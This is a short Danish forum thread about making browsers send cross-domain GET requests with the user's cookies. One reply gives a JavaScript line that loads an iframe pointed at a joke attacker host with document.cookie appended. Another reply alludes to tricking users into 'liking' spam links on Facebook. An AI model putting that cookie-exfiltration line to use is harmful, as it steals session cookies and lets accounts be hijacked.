mboost-dp1

Cross-site GET requests


Gå til bund
Gravatar #1 - Daniel-Dane
25. jun. 2011 11:45
Kan man få en browser til at sende en GET til en hjemmeside på et andet domæne? Jeg spørger, da man browsere nu om dage beskytter mod det, så hvilke browsere tillader fx cross-domain iframe, XMLHttpRequest GET (Same origin policy, så nvm), etc.? (Tilbagesvar er lige meget; Browseren skal bare sende en GET til en hjemmeside med brugerens cookies.)

Oh, btw. Der er sider, hvor man trykker på et link og får en pop-up fra et andet domæne. Det kunne jeg gøre!
Gravatar #2 - Windcape
25. jun. 2011 11:53
IFrames burde virke fint, Think like:


$("iframe-id").src = "http://ihaxyoo.lulz?cookie=" + document.cookie;
Gravatar #3 - Daniel-Dane
25. jun. 2011 11:57
Disregard this thread, I suck cock.

Hmm, jeg har lige fundet ud af, at iframes slet ikke har nogen sikkerhed. Og nej, jeg vil ikke sende brugerens cookies til en anden side. Jeg vil bare lave en normal GET request. Men nu bruger jeg bare en iframe (uden js).
Gravatar #4 - Windcape
25. jun. 2011 11:58
http://www.criticalsecurity.net/index.php/topic/32...

Flere eksempler. Det er også sådan man for folk til at "like" spam-links på Facebook :p
Gå til top

Opret dig som bruger i dag

Det er gratis, og du binder dig ikke til noget.

Når du er oprettet som bruger, får du adgang til en lang række af sidens andre muligheder, såsom at udforme siden efter eget ønske og deltage i diskussionerne.

Opret Bruger Login